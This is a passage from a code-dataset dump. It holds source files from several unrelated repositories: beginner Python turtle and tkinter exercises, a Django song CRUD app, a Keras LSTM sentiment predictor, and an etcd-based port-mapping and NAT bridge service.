"language": "Python", "length_bytes": 239, "license_type": "no_license", "max_line_length": 62, "num_lines": 9, "path": "/Notes++/pass.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "def my_menu():\n inp_where = input(\"where: \")\n inp_nick_name = input(\"nick: \")\n inp_pass = input(\"pass: \")\n inp_other_info = input(\"Other: \")\n print(inp_where+ \" ** \" +inp_nick_name+ \" ** \" +inp_pass )\n return 0\n\nmy_menu()" }, { "alpha_fraction": 0.5325000286102295, "alphanum_fraction": 0.5600000023841858, "avg_line_length": 17.090909957885742, "blob_id": "002aa523eda6cb3b0492d9f5762c32b6c4057fd6", "content_id": "619a7fb5983e2b6df7f318b69b3fb2fe9af6f738", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 400, "license_type": "no_license", "max_line_length": 52, "num_lines": 22, "path": "/TkinterGUI/btn.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "import tkinter as tk\n\ndef toggle():\n\n if btn.config('text')[-1] == 'ON':\n\n btn.config(text='OFF')\n # my ON code here\n print(\"on\")\n\n else:\n\n btn.config(text='ON')\n # my Off code here\n print(\"OFF\")\n\nroot = tk.Tk()\nbtn = tk.Button(text=\"ON\", width=12, command=toggle)\nbtn.pack(pady=5)\n\nroot.after(30000, lambda: root.destroy()) # 30 sec\nroot.mainloop()\n\n\n" }, { "alpha_fraction": 0.6451612710952759, "alphanum_fraction": 0.6480938196182251, "avg_line_length": 19.117647171020508, "blob_id": "96cde40611d1bb3803873890a4a24ea258966571", "content_id": "17c0457028110b256cde9a3cf5482a2d91abb83c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 341, "license_type": "no_license", "max_line_length": 52, "num_lines": 17, "path": "/SoftUni-Python3/1_turtle/4_figure.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "import turtle\n\nside_size = \"\"\nangle = \"\"\nwhile not side_size.isdigit():\n side_size = input('Enter a side size: ').strip()\n\nwhile not angle.isdigit():\n angle = input(\"Enter a angle: \").strip()\n\nside_size_int = int(side_size)\nwhile True:\n turtle.forward(side_size_int)\n turtle.left(int(angle))\n side_size_int += 1\n\nturtle.done()" }, { "alpha_fraction": 0.695652186870575, "alphanum_fraction": 0.695652186870575, "avg_line_length": 22.25, "blob_id": "cf2e51f46d17075374701fdde8c8b9f6cbfc8823", "content_id": "fab3642da1772219523e95496de7f79f6ad354a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 92, "license_type": "no_license", "max_line_length": 47, "num_lines": 4, "path": "/TkinterGUI/pdfkit.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "from pdfkit import *\n# $ pip install pdfkit\n\npdfkit.from_url('http://google.com', 'out.pdf')" }, { "alpha_fraction": 0.6243386268615723, "alphanum_fraction": 0.6772486567497253, "avg_line_length": 14.75, "blob_id": "02c923d849ee257eb946bb0885f209ca81290b02", "content_id": "18f24073ea0792d36868d172ff80ab50e403cf78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 189, "license_type": "no_license", "max_line_length": 29, "num_lines": 12, "path": "/SoftUni-Python3/1_turtle/10-74.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "import turtle\n\nturtle.speed('fastest')\nside_size = 10\nangle = 74\n\nfor i in range(1,1000):\n turtle.forward(side_size)\n turtle.left(int(angle))\n side_size += 1\n\nturtle.exitonclick()\n" }, { "alpha_fraction": 0.5087719559669495, "alphanum_fraction": 0.5614035129547119, "avg_line_length": 28, "blob_id": "55cddbaa9aaf9a3164135ae122132b2d5473cff2", "content_id": "40787361028d48c43af669cefc269ac53d9370db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 57, "license_type": "no_license", "max_line_length": 32, "num_lines": 2, "path": "/SoftUni-Python3/2_basic_data_structures/hw1_text_len_limit.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "str = input(\"Enter some text: \")\nprint(str[0:10] + \"...\")" }, { "alpha_fraction": 0.49393415451049805, "alphanum_fraction": 0.5476602911949158, "avg_line_length": 18.931034088134766, "blob_id": "c5457de9857448df6ff1c7573ef1482c0bf3b366", "content_id": "d509600184ca4d7a01fd99c8e0c360a03abb40e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 577, "license_type": "no_license", "max_line_length": 63, "num_lines": 29, "path": "/SoftUni-Python3/1_turtle/7_chess_table.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "import turtle\nimport time\n\nturtle.speed(\"fastest\")\nturtle.setup(380, 380)\n\nx = -160\ny = 160\nside=40\nfor ii in range(8):\n turtle.penup()\n turtle.goto(x, y)\n turtle.pendown()\n\n for i in range(8):\n if i % 2==0 and ii % 2 == 0:\n turtle.begin_fill()\n if not i % 2 == 0 and not ii % 2 == 0:\n turtle.begin_fill()\n\n for sq in range(4):\n turtle.forward(side)\n turtle.right(90)\n\n turtle.end_fill()\n turtle.forward(side)\n y -= 40\n\ntime.sleep(10) # delay a few sec before a windows will be close" }, { "alpha_fraction": 0.7250000238418579, "alphanum_fraction": 0.7250000238418579, "avg_line_length": 10.428571701049805, "blob_id": "9e8319d06a21724e6063a67f395708f16244c57c", "content_id": "8537d59c8fd646b3dc843d4e4e8cbb06086b05cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 80, "license_type": "no_license", "max_line_length": 27, "num_lines": 7, "path": "/Notes++/git.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "from subprocess import call\nimport os\n\nret = os.system('git pull')\n\n\nprint(ret)\n" }, { "alpha_fraction": 0.6826568245887756, "alphanum_fraction": 0.6826568245887756, "avg_line_length": 23.727272033691406, "blob_id": "0a2c9654a4c1a15f351bbf8b12d3614f827da3c9", "content_id": "09212b1fd974f6be4bdaea8223e5b387dfc9f26f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 271, "license_type": "no_license", "max_line_length": 67, "num_lines": 11, "path": "/SoftUni-Python3/2_basic_data_structures/hw2_geting_text_after_substring.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "'''\n write code that takes two texts by the user using the input (),\n and then display the first text,\n but only that part which is located after the second text.\n'''\nstr = \"This is soo difficult, I prefer playing WoW\"\nsub_str = \"soo\"\nresult = \"\"\n\n\nprint(result)" }, { "alpha_fraction": 0.6368159055709839, "alphanum_fraction": 0.6517412662506104, "avg_line_length": 17.272727966308594, "blob_id": "65f2ace709ea07a0182eaba36d8737964130340a", "content_id": "f02b4c3549c81a1e130e342bd9e66de5a4739d82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 201, "license_type": "no_license", "max_line_length": 49, "num_lines": 11, "path": "/SoftUni-Python3/1_turtle/4_square.py", "repo_name": "RAYCHEV/python", "src_encoding": "UTF-8", "text": "import turtle\n\nside_size = \"\"\nwhile not side_size.isdigit():\n side_size = input('Enter a number: ').strip()\n\nfor i in range(4):\n turtle.forward(int(side_size))\n turtle.left(90)\n\nturtle.done()\n" } ]
16
sandeepbisht045/CRUD-Django
https://github.com/sandeepbisht045/CRUD-Django
d1c13404e7fabc88496b27094a9a087d289e3ea5
b6d22c971879d4299adf78beca737649bea1cbd5
241524e60810b58b2eeb62d7b6b34608280e4f74
refs/heads/master
2023-05-06T18:34:00.167657
2021-05-25T13:17:15
2021-05-25T13:17:15
370,699,888
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7471264600753784, "alphanum_fraction": 0.7471264600753784, "avg_line_length": 16.399999618530273, "blob_id": "abc6c3d30a194569e719d1bb60e8cdde6a19ae84", "content_id": "10b4d71a028e77f943fa2313f155dbe30c117a84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 87, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/appppp/apps.py", "repo_name": "sandeepbisht045/CRUD-Django", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass ApppppConfig(AppConfig):\n name = 'appppp'\n" }, { "alpha_fraction": 0.6203059554100037, "alphanum_fraction": 0.6203059554100037, "avg_line_length": 31.208955764770508, "blob_id": "314dcdd8d7d83c7ca255b9609e399aff391260c5", "content_id": "31e83a5a345566e72ec5aae630f0b3f74f76c354", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2157, "license_type": "no_license", "max_line_length": 107, "num_lines": 67, "path": "/appppp/views.py", "repo_name": "sandeepbisht045/CRUD-Django", "src_encoding": "UTF-8", "text": "from django.http.response import HttpResponse\nfrom django.shortcuts import render,redirect\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate\nfrom . models import Song\n# Create your views here.\n# def index(request):\n # return render(request,\"index.html\")\n\ndef index(request):\n # user = User.objects.create_user(username='rawat', email='[email protected]', password='johnpassword')\n sng=Song.objects.all()\n \n return render(request,\"index.html\",{\"sng\":sng})\n\ndef add(request):\n if request.method==\"POST\":\n \n name=request.POST.get(\"name\")\n language=request.POST.get(\"language\")\n singer=request.POST.get(\"singer\")\n sng=Song(name=name,language=language,singer=singer).save()\n return redirect(\"/\")\n \n \n return render(request,\"add.html\")\n\ndef delete(request,id):\n if request.method==\"POST\": \n sng=Song.objects.filter(id=id)\n sng.delete()\n return redirect(\"/\")\n else:\n for_id=Song.objects.filter(id=id)\n sng=Song.objects.all()\n for i in for_id:\n del_id=i.id\n del_song=i.name\n \n return render(request,\"index.html\",{\"value\":\"okay\",\"sng\":sng,\"del_id\":del_id,\"del_song\":del_song})\n\ndef edit(request,id):\n sng=Song.objects.get(id=id)\n if request.method==\"POST\":\n name=request.POST.get(\"name\")\n language=request.POST.get(\"language\")\n singer=request.POST.get(\"singer\")\n sng=Song(name=name,language=language,singer=singer,id=id).save()\n return redirect(\"/\")\n else: \n return render(request,\"edit.html\",{\"sng\":sng})\n \n \ndef del_selected(request): \n if request.method==\"POST\":\n checked_values = request.POST.getlist('checks')\n for i in checked_values:\n sng=Song.objects.filter(id=i).delete()\n print(checked_values)\n return redirect(\"/\")\n\ndef search(request):\n query=request.GET.get(\"search\")\n song_search=Song.objects.filter(name__icontains=query)\n for i in song_search:\n print(i.name)\n return render(request,\"index.html\",{\"sng\":song_search})" }, { "alpha_fraction": 0.6691729426383972, "alphanum_fraction": 0.6954887509346008, "avg_line_length": 25.600000381469727, "blob_id": "02bf97edfc19f0e335a672cd6cdfa72c162a9e46", "content_id": "d2683a698930a59634b656873c6db2bdd8977119", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 266, "license_type": "no_license", "max_line_length": 44, "num_lines": 10, "path": "/appppp/models.py", "repo_name": "sandeepbisht045/CRUD-Django", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\nclass Song(models.Model):\n name=models.CharField(max_length=200)\n language=models.CharField(max_length=33)\n singer=models.CharField(max_length=23)\n \n def __str__(self):\n return self.name\n" } ]
3
lpfavo/sen_ana
https://github.com/lpfavo/sen_ana
8e6eb742ce758ddbd38ffd53c42622c05ad2acd1
f95e9b7c2c2ccaaa54b967b6bde38447a29f2dcf
401ebedafaf03c7bb1c654f0894ddee51432a714
refs/heads/master
2022-06-27T22:33:12.462790
2020-05-12T16:05:57
2020-05-12T16:05:57
260,051,170
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6603065133094788, "alphanum_fraction": 0.6718798875808716, "avg_line_length": 42.43055725097656, "blob_id": "7c17ea2000031af5a474d559ca1a1fd3ef23778b", "content_id": "e1871be34f827ac6b7d518ad073ccc82f8946867", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3327, "license_type": "no_license", "max_line_length": 700, "num_lines": 72, "path": "/predict_lstm.py", "repo_name": "lpfavo/sen_ana", "src_encoding": "UTF-8", "text": "from keras.models import load_model\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nfrom keras.preprocessing.sequence import pad_sequences\r\nfrom gensim.models import Word2Vec\r\nimport keras\r\n\r\n\r\ndef load_stopwords(filepath):\r\n stopwords_final = []\r\n #2 ollect words from files. Each word is on one line\r\n file = open(filepath,\"r\",encoding=\"utf-8\") #\"stopwords-master/baidu.txt\"\r\n for line in file:\r\n line = line.strip()\r\n stopwords_final.append(line)\r\n file.close()\r\n return stopwords_final\r\n\r\n\r\ndef clean_review(raw_review,stop_words):\r\n # 1. 评论是爬虫抓取的,存在一些 html 标签,需要去掉\r\n review_text = BeautifulSoup(raw_review, 'html.parser').get_text()\r\n # 2. 标点符号只保留 “-” 和 上单引号\r\n rex = re.compile(r'[!\"#$%&\\()*+,./:;<=>?@\\\\^_{|}~]+')\r\n review_text = rex.sub(' ', review_text)\r\n # 3. 全部变成小写\r\n review_text = review_text.lower()\r\n # 4. 分词\r\n word_list = review_text.split()\r\n # 5. 词性还原\r\n# tokens = list(map(lemmatizer.lemmatize, word_list))\r\n# lemmatized_tokens = list(map(lambda x: lemmatizer.lemmatize(x, \"v\"), tokens))\r\n # 6. 去停用词\r\n meaningful_words = [x for x in word_list if x not in stop_words] #list(filter(lambda x: not x in stop_words))#, lemmatized_tokens\r\n return meaningful_words\r\n\r\n\r\ndef get_predict_index(sentence,word_index):\r\n sequence = []\r\n for word in sentence:\r\n try:\r\n sequence.append(word_index[word])\r\n except KeyError:\r\n continue\r\n return sequence\r\n\r\n\r\ndef predict(text):\r\n keras.backend.clear_session()\r\n word2_vecpath='./word2vec_100dim_sg1_hs1.model'\r\n model_path='./imdb_train_test_model_BILSTM2.h5'\r\n predict_model = load_model(model_path)\r\n stopwords = load_stopwords(\"stop_all.txt\")\r\n sentence = clean_review(text,stopwords)\r\n w2v = Word2Vec.load(word2_vecpath)\r\n # 取得所有单词\r\n vocab_list = list(w2v.wv.vocab.keys())\r\n # 每个词语对应的索引\r\n word_index = {word: index for index, word in enumerate(vocab_list)}\r\n seq_sentence = get_predict_index(sentence,word_index)\r\n maxlen = 100\r\n X_pad = pad_sequences([seq_sentence], maxlen=maxlen)\r\n # y_pred = predict_model.predict_classes(X_pad)\r\n t_prob = predict_model.predict_proba(X_pad)\r\n pos = 100*(t_prob[0][0])\r\n neg = 100*(1 - t_prob[0][0])\r\n #print(y_pred,t_prob)\r\n return [pos, neg]\r\n\r\n# text=\"\"\"The prospect of living his last days in one of those institutions that cater to the old, the sick and the infirm, Carl Fredricksen opts for an escape. His beloved house serves as the vehicle where he will reach the Paradise Falls in South America. Unknown to him, Russell, the boy scout wanting to get another badge for assisting the elderly, comes along for a trip to the unknown. Little did he know the dangers he and Russell will have to face while at their destination, battling the egotistical explorer that once was his idol. Because of his determination, and with the help of Russell, he ends up being the real hero of the story, having escaped the indignities of the stay in the nursing home.\r\n# \"Up\" is an excellent film that will give pleasure to all kinds of audiences as it wants to appeal to the child quality hidden, perhaps, in all of us.\"\"\"\r\n# print(predict(text))" }, { "alpha_fraction": 0.5507246255874634, "alphanum_fraction": 0.5577514171600342, "avg_line_length": 40.849056243896484, "blob_id": "e7a6f16cb2d74463d347f20ab5797e3542455b9a", "content_id": "7ee63a2a4255087b78b46939d97b41d44263971e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2375, "license_type": "no_license", "max_line_length": 115, "num_lines": 53, "path": "/get_part_of_speech.py", "repo_name": "lpfavo/sen_ana", "src_encoding": "UTF-8", "text": "\r\n\r\n\r\ndef getpart_of_speech(categories_nodes,categories):\r\n cate_name={'a':'adjective','b':\"Other noun-modifier\",\r\n 'c':\"Conjunction\" ,'d':\"Adverb\" ,\r\n 'e':\"Exclamation\",'g':\"Morpheme\",\r\n 'h':\"Prefix\",'i':\"Idiom\",\r\n 'j':\"Abbreviation\",'k':\"Suffix\",\r\n 'm':\"Number\",'n':\"General noun\",\r\n 'nd':\"Direction noun\",'nh':\"Person name\",\r\n 'ni':\"Organization name\" ,'nl':\"Location noun\" ,\r\n 'ns':\"Geographical name\" ,'nt':\"Temporal noun\" ,\r\n 'nz':\"Other proper noun\",'o':\"Onomatopoeia\" ,\r\n 'p':\"Preposition\",'q':\"Quantity\" ,\r\n 'r':\"Pronoun\",'u':\"Auxiliary\" ,\r\n 'v':\"Verb\" ,'wp':\"Punctuation\" ,\r\n 'ws':\"Foreign words\",'x':\"Non-lexeme\"}\r\n\r\n categories_num=len(categories)\r\n categories_collect_entities={}\r\n collect_categories=[]\r\n for i in range(categories_num):\r\n collect_categories.append(cate_name[categories[i]['name']])\r\n\r\n for i in range(categories_num):\r\n node_info = []\r\n for entity in categories_nodes:\r\n if entity['category']==i:\r\n node_info.append(entity['name'])\r\n categories_collect_entities[categories[i]['name']]=node_info\r\n\r\n\r\n part_of_speech_nodes = []\r\n part_of_speech_links=[]\r\n part_of_speech_nodes.append({'name':'root','category':0,'label':\"Root\"})\r\n\r\n count_node = 1\r\n for i in range(categories_num):\r\n part_of_speech_nodes.append({'name':cate_name[categories[i]['name']],'category':i+1})\r\n part_of_speech_links.append({'source':count_node,'target':0})\r\n count_node += 1\r\n\r\n\r\n for i in range(categories_num):\r\n app = categories_collect_entities[categories[i]['name']]\r\n for j in range(len(app)):\r\n part_of_speech_nodes.append({'name': app[j], 'category': i+1,'label':categories[i]['name']})\r\n part_of_speech_links.append({'source': count_node, 'target': i + 1})\r\n count_node += 1\r\n\r\n part_of_speech = {\"nodes\": part_of_speech_nodes, \"links\": part_of_speech_links,'categories':collect_categories}\r\n return part_of_speech\r\n\r\n\r\n# print(getpart_of_speech(\"2018年7月26日,华为创始人任正非向5G极化码(Polar码)之父埃尔达尔教授举行颁奖仪式,表彰其对于通信领域做出的贡献。\"))\r\n" } ]
2
lwdaap-platform/bridge
https://github.com/lwdaap-platform/bridge
ec7b96464e2e9d3bb584a684eaf2d50d7920fdaa
bd7d424d21822ea9e91e048a35d2c12c78074720
2c62cc245139be050fe485c1eff730ac9b198305
refs/heads/master
2021-01-10T07:39:10.791758
2015-12-06T08:49:38
2015-12-06T08:50:48
47,109,425
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6372787356376648, "alphanum_fraction": 0.6393613219261169, "avg_line_length": 29.01041603088379, "blob_id": "d03e5cb366b0b5d5ed8a47a3f57daefc534a017b", "content_id": "99b0ad5575396dd1a882bafbd858ffc68d9faae8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2881, "license_type": "no_license", "max_line_length": 78, "num_lines": 96, "path": "/nato/shell.py", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "# This file is part of Lifewatch DAAP.\n# Copyright (C) 2015 Ana Yaiza Rodriguez Marrero.\n#\n# Lifewatch DAAP is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Lifewatch DAAP is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Lifewatch DAAP. If not, see <http://www.gnu.org/licenses/>.\n\nfrom __future__ import absolute_import\n\nimport logging\nimport logging.config\nimport json\nimport os\nimport sys\n\nfrom oslo_config import cfg\n\nimport nato\nfrom nato.utils import env\nfrom nato.watcher import NatoWatcher\nfrom nato.managers import PortManager, ReverseProxyManager\n\n\nopts = [\n cfg.StrOpt('logging-conf',\n default='',\n help='Logging configuration file (json file)'),\n cfg.BoolOpt('debug',\n short='d',\n default=False,\n help='Print debug output (set logging level to '\n 'DEBUG instead of default WARNING level).'),\n cfg.StrOpt('external-ip',\n required=True,\n default=env('EXTERNAL_IP', None),\n help='External IP of the bridge machine'),\n cfg.StrOpt('etcd-host',\n required=True,\n default=env('ETCD_HOST', None),\n help='etcd host'),\n cfg.IntOpt('etcd-port',\n required=True,\n default=env('ETCD_PORT', None),\n help='etcd host'),\n]\n\nCONF = cfg.CONF\nCONF.register_cli_opts(opts)\nCONF.register_opts(opts)\n\n\ndef parse_args(argv, default_config_files=None):\n CONF(argv[1:],\n project='nato',\n version=nato.__version__,\n default_config_files=default_config_files)\n\n\ndef setup_logging(config_file, debug=False):\n \"\"\"\n Setup logging configuration\n \"\"\"\n log_level = logging.INFO\n if debug:\n log_level = logging.DEBUG\n if os.path.exists(config_file):\n with open(config_file, 'rt') as f:\n config = json.load(f)\n logging.config.dictConfig(config)\n else:\n logging.basicConfig()\n logging.getLogger('nato').setLevel(log_level)\n\n\ndef main():\n parse_args(sys.argv)\n setup_logging(CONF.logging_conf, CONF.debug)\n LOG = logging.getLogger(__name__)\n LOG.info(\"NATO Starting\")\n managers = [PortManager(CONF.etcd_host, CONF.etcd_port, CONF.external_ip),\n ReverseProxyManager('http://' + CONF.external_ip)]\n watcher = NatoWatcher(CONF.etcd_host, CONF.etcd_port, managers)\n watcher.watch()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5869923233985901, "alphanum_fraction": 0.5913830995559692, "avg_line_length": 32.12727355957031, "blob_id": "c062d33d59ac8779a7c6ac5797458cd6aa6f635b", "content_id": "519c20beb0e1c76d64cb4df4e3e635cfb08740a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3644, "license_type": "no_license", "max_line_length": 76, "num_lines": 110, "path": "/nato/managers/port_manager.py", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "# This file is part of Lifewatch DAAP.\n# Copyright (C) 2015 Ana Yaiza Rodriguez Marrero.\n#\n# Lifewatch DAAP is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Lifewatch DAAP is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Lifewatch DAAP. If not, see <http://www.gnu.org/licenses/>.\n\nimport ast\nimport logging\nimport os\n\nimport etcd\nfrom oslo_config import cfg\n\nfrom nato import utils\n\nLOG = logging.getLogger(__name__)\n\nopts = [\n cfg.StrOpt('uports-key',\n default='/uports',\n help='Etcd key to store the used ports'),\n cfg.IntOpt('min-port',\n default=20000,\n help='First port of range to map'),\n cfg.IntOpt('max-port',\n default=25000,\n help='Last port of rang to map'),\n cfg.StrOpt('map-path',\n default=utils.env('NATO_MAP_PATH', '/ssh_hosts'),\n help='Path to store the files with the mappings'\n 'default env[NATO_MAP_PATH] or /ssh_hosts'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(opts, group=\"portmanager\")\nCONF.register_cli_opts(opts, group=\"portmanager\")\n\n\nclass PortManager:\n \"\"\"Manages firewall.\"\"\"\n def __init__(self, host, port, external_ip):\n # cleans up any previous mapping\n filelist = [f for f in os.listdir(CONF.portmanager.map_path)]\n for f in filelist:\n os.remove(os.path.join(CONF.portmanager.map_path, f))\n\n self.client = etcd.Client(host=host, port=port,\n allow_reconnect=False)\n\n self.external_ip = external_ip\n self._uports = []\n try:\n self._uports = ast.literal_eval(\n self.client.read(CONF.portmanager.uports_key).value)\n except:\n pass\n\n def str(self):\n return str(self._uports)\n\n def unused_port(self):\n if not self._uports:\n return CONF.portmanager.min_port\n top = max(self._uports)\n unused = list(set(range(CONF.portmanager.min_port, top)) -\n set(self._uports))\n if unused:\n return min(unused)\n if top != CONF.portmanager.max_port:\n return top + 1\n else:\n return None\n\n def append(self, port):\n self._uports.append(port)\n self.client.write(CONF.portmanager.uports_key, self._uports)\n\n def remove(self, port):\n try:\n self._uports.remove(port)\n self.client.write(CONF.portmanager.uports_key, self._uports)\n except ValueError:\n # XXX ay!\n pass\n\n def add_node(self, node):\n # XXX possible race condition?\n port = self.unused_port()\n self.append(port)\n d = {'port': port, 'node_ip': node['ip']}\n open(os.path.join(CONF.portmanager.map_path,\n '%(node_ip)s_%(port)s' % d), 'w').close()\n return {'port': port, 'node_ip': node['ip'], 'ip': self.external_ip}\n\n def remove_node(self, mapping):\n ssh_host_file = os.path.join(CONF.portmanager.map_path,\n '%(node_ip)s_%(port)s' % mapping)\n if os.path.exists(ssh_host_file):\n os.remove(ssh_host_file)\n self.remove(int(mapping['port']))\n" }, { "alpha_fraction": 0.6728838086128235, "alphanum_fraction": 0.6944046020507812, "avg_line_length": 30.5, "blob_id": "f0488c9a3385b0b508a32f8f80545aa74d9a78f8", "content_id": "da7164d8170f23c73979f2f535c2505072457620", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 697, "license_type": "no_license", "max_line_length": 95, "num_lines": 22, "path": "/misc/init_setup.sh", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\nWAN_IFACE=eth0\n\necho \"Enabling ip forwarding...\"\necho net.ipv4.ip_forward = 1 >> /etc/sysctl.conf\nsysctl -p /etc/sysctl.conf\n\necho \"Setting Rules in iptables...\"\niptables -t nat -A POSTROUTING -d 172.16.27.0/24 -p tcp -m tcp --dport 22 -j MASQUERADE\niptables -t nat -F SSH\niptables -t nat -N SSH\niptables -t nat -A PREROUTING -j SSH\n\necho \"Installing incron...\"\napt-get update \\\n&& apt-get -qy upgrade --fix-missing --no-install-recommends \\\n&& apt-get -qy install --fix-missing --no-install-recommends \\\n incron\n\necho root > /etc/incron.allow \\\n&& echo \"/ssh_hosts IN_MODIFY,IN_CREATE,IN_DELETE /home/ubuntu/iptables_ssh.sh\" | incrontab - \\\n&& /etc/init.d/incron start\n\n\n\n\n" }, { "alpha_fraction": 0.8214285969734192, "alphanum_fraction": 0.8214285969734192, "avg_line_length": 8.333333015441895, "blob_id": "f9546bd53408061e40430631b1bea48c1ac251da", "content_id": "84d99db0aa224f29efd49f3501b2cc4509dc4a78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 28, "license_type": "no_license", "max_line_length": 11, "num_lines": 3, "path": "/requirements.txt", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "pbr\npython-etcd\noslo.config\n" }, { "alpha_fraction": 0.5324562788009644, "alphanum_fraction": 0.5360913872718811, "avg_line_length": 32.393062591552734, "blob_id": "121693b98f8b1a9bb0f1b60e451b056aafdf511d", "content_id": "d15322816174fcba336c04ab0d8e3340b7f37d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5777, "license_type": "no_license", "max_line_length": 78, "num_lines": 173, "path": "/nato/watcher.py", "repo_name": "lwdaap-platform/bridge", "src_encoding": "UTF-8", "text": "# This file is part of Lifewatch DAAP.\n# Copyright (C) 2015 Ana Yaiza Rodriguez Marrero.\n#\n# Lifewatch DAAP is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Lifewatch DAAP is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Lifewatch DAAP. If not, see <http://www.gnu.org/licenses/>.\n\nimport logging\nimport os\nimport sys\n\nimport etcd\nfrom oslo_config import cfg\n\nLOG = logging.getLogger(__name__)\n\nopts = [\n cfg.StrOpt('nodes-key',\n default='/nodes',\n help='Etcd key to find nodes'),\n cfg.StrOpt('mappings-key',\n default='/mappings',\n help='Etcd key to define mappings'),\n cfg.StrOpt('locks-key',\n default='/locks',\n help='Etcd key to crreate locks'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(opts, group=\"watcher\")\nCONF.register_cli_opts(opts, group=\"watcher\")\n\n\ndef _nodes_to_servers(r):\n s = {}\n for child in r.children:\n keys = child.key.rsplit('/', 1)\n if not keys[0]:\n continue\n s[keys[-1]] = {'ip': child.value, 'uuid': keys[-1]}\n return s\n\n\ndef _mappings_to_servers(r):\n s = {}\n for child in r.children:\n keys = child.key.rsplit('/', 2)\n if not keys[0]:\n continue\n k, sub_k = keys[1], keys[2]\n v = s.get(k, {})\n v[sub_k] = child.value\n v['uuid'] = k\n s[k] = v\n return s\n\n\nclass NatoWatcher:\n def __init__(self, host, port, managers):\n self.host = host\n self.port = port\n self.managers = managers\n\n def _get_nodes(self):\n nodes = {}\n try:\n nodes = _nodes_to_servers(self.client.read(CONF.watcher.nodes_key,\n recursive=True))\n except etcd.EtcdKeyNotFound:\n pass\n return nodes\n\n def _get_mappings(self):\n nodes = {}\n try:\n nodes = _mappings_to_servers(\n self.client.read(CONF.watcher.mappings_key, recursive=True))\n except etcd.EtcdKeyNotFound:\n pass\n return nodes\n\n def remove_mapping(self, uuid, mapping):\n try:\n self.client.read(CONF.watcher.mappings_key + '/' + uuid)\n except etcd.EtcdKeyNotFound:\n return\n pass\n # XXX TODO move this to a with thinggy\n try:\n # 60 seconds TTL should be enough for anyone to get this done\n self.client.write(CONF.watcher.locks_key + '/' + uuid, 'lock',\n ttl=60, prevExist=False)\n except etcd.EtcdAlreadyExist:\n # do not mess with locked uuid\n return\n try:\n LOG.info(\"[MAP] %s\", mapping)\n for m in self.managers:\n m.remove_node(mapping)\n LOG.info(\"[OFFLINE] %s\" % uuid)\n self.client.delete(CONF.watcher.mappings_key + '/' + uuid,\n recursive=True)\n self.client.delete(CONF.watcher.locks_key + '/' + uuid)\n except etcd.EtcdKeyNotFound:\n 